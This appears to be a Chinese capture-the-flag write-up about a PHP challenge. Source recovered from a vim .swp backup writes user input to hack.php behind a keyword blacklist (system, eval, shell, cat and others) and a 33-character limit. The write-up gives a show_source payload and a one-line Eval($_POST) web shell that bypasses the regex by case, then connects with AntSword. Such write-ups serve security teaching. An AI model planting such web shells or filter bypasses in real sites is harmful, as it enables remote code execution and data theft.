考察知识点
正则过滤 备份文件泄露
解题分析
扫描目录发现/robots.txt,访问后提示 1ndexx.php   直接访问1ndexx.php访问不到,需要访问生产环境vim保存的缓冲类型文件.swp,访问之后获取到源码。 
<?php
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
正则过滤了一大堆,且长度不可大于33,$a的值会写入hack.php 可以利用show_source高亮进行显示
code=%3C?php%20show_source(__FILE__);?%3E
 也可以传入一句话,大小写进行绕过正则,蚁剑进行连接/hack.php得到
code=<?php Eval($_POST[111]);?>

|